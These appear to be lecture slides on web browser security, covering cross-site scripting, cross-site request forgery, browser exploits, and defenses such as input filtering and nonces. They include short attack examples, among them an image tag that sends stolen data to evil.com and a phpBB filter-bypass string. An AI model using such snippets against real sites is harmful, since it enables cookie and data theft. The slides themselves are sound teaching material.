Is Browsing Safe?

Subverting the Browser

• Attackers are exploiting browser weaknesses
  1. Cross-site scripting (XSS)
  2. Cross-site request forgery (CSRF)
  3. Browser vulnerabilities

XSS / Script Injection

• Placing script code on someone else’s site
  • Gives attacker control over content
  • Difficult to prevent in general
  • Widespread threat
  • MySpace, Yahoo Mail exploited
  • Most reported vulnerability

1. XSS / Script Injection

Browser Security Model

• Pages are isolated from each other, sometimes
  • “Same origin” policy:
    • Page can only communicate with pages and servers from the same origin
    • Applies to cookies, cross-page scripts, AJAX requests

1. XSS / Script Injection

Web Mail

Movie Rentals

Send
Spam

Search Results
Change
Address
?[Install
Malware

Web Browser Security
Charlie Reis
e.g., MySpace / Samy

- Viewing Samy’s user profile ran script code:
  - Added Samy as one of your “heroes”
  - Copied the code to your profile
  - Spread to 1 million pages in 24 hours

---

What damage can XSS do?

- Invade privacy of visitors
- Violate integrity of page
- Deny availability to a server

---

Invade Privacy

- XSS can leak data to attacker, despite same origin policy
  - e.g., Encode data in URL of a requested image
  - Steal cookies to log in as user
  - Leak any information on page (passwords, credit cards, etc.)

```html
<img src="http://evil.com/index.php?[data]">
```

---

Violate Integrity

- Scripts can change any content on a page
  - Falsify info
  - Make page appear faulty
  - Ask user for more personal information

---

Deny Availability

- Distributed Denial of Service
  - Turn browsers into bots
  - Attacker can choose any machine as target
  - Large impact for compromising popular sites or advertisers
Types of Script Injection

1. Stored XSS
   - Hide script in server’s database
   - Any visitor to page will run the injected code
   - Many sites display user input
   - Blogs, wikis, discussion boards, social networks
   - Try to filter out script code, but not always successful

2. Reflected XSS
   - Some sites parse input from URL
   - Attackers can construct links that cause scripts to run
   - Must trick users into following these links (e.g., phishing emails)
   - http://nytimes.com/auth/login?URI="><script>    </script>...

3. DOM-Based XSS
   - Like Reflected XSS, except that URL parsing is done on client, not server
   - Attack code never appears in HTML sent over the network (only in URL)
   - <script>
     var pos = document.URL.indexOf("name=")+5;
     var name = document.URL.substring(pos, document.URL.length);
   </script>

4. Third party scripts
   - Script files from any origin can be embedded in a page (not part of same-origin policy)
   - Ad servers
   - Mashups (e.g., Google Maps)
   - Web sites must delegate trust
   - Malicious or compromised third party can launch attack

5. Bookmarklets
   - Bookmarklet: a bookmarked JavaScript URL
   - javascript:alert(‘hello world’);
   - Runs in context of user’s current page
   - Useful for stripping ads, web development
   - Could be used for phishing or spying on browsing habits
How to prevent XSS?

- Option 1: block JavaScript
  - Could disable scripts in browser 
    (but too many sites rely on them today)
  - Could whitelist known pages with NoScript 
    (but they might be vulnerable to XSS)

Input Validation

- Server must filter all scripts from user input
  - Must find all script tags, event handlers, 
    script URLs, scripts in stylesheets, etc.
  - Must handle encoded input (%3C...)
  - Can’t just block ‘<’ and ‘>’ in many cases

Bug in phpBB’s filter

- Discussion board allowed some HTML tags 
  (e.g., <b>, <i>)
- Didn’t filter all scripts

  `<b c="&gt;" onmouseover="&nbsp;" x="&lt;b "&gt;text&lt;/b&gt;` 
  
  Filter: `<b c=&gt;` `<b >` `<b >` `<b >` 
  Browser: `<b c= onmouseover= x= >` `<b >` `<b >` `<b >`

Convenience vs Security

- Most browsers are tolerant of syntax errors
- Malformed input can get past a filter and 
  then run in the browser
  - Samy worm on MySpace: 
    `javascript:eval(...)`

Research Proposals

- Find bugs on server side [Xie, Huang]
  - Static or dynamic analysis, fault injection
- Limit damage on client [Ismail]
  - Taint analysis (prevent information leaks)
  - Connection blocking
- Script whitelists [Jim]
  - Only run scripts with valid hashes

2. Cross-Site Request Forgery (CSRF)
CSRF Attacks

- Browser includes cookies on all requests to a site
- Attacker can make requests with user’s credentials
- Post messages, transfer money, delete data
- Netflix vuln: change account settings
- Gmail vuln: steal contact list

Preventing CSRF

- Embed a fresh nonce in each form
- Check for the nonce on every user request
- Forged requests will have the cookie but not the nonce

<form>
<input type=hidden name=nonce value=23562>
<input ...>
...
</form>

Browser Vulnerabilities

- Pages can exploit vulns. to run arbitrary code (“drive-by downloads”)
- Discovered frequently (e.g., Windows .ANI bug)
- Patches aren’t always installed quickly (e.g., testing in enterprises)

3. Browser Vulnerabilities

Research Proposals

- Run web browser in virtual machine (Tahoma, SpyProxy)
- Can roll back after any damage
- Filter exploits of known vulnerabilities (BrowserShield)
- Tricky: must insert runtime checks into all JavaScript code

Summary

- Same-origin policy isn’t always sufficient
- XSS, CSRF, Browser Vulnerabilities
- Web developers must be vigilant
- Changes to browsers could help (part of my research)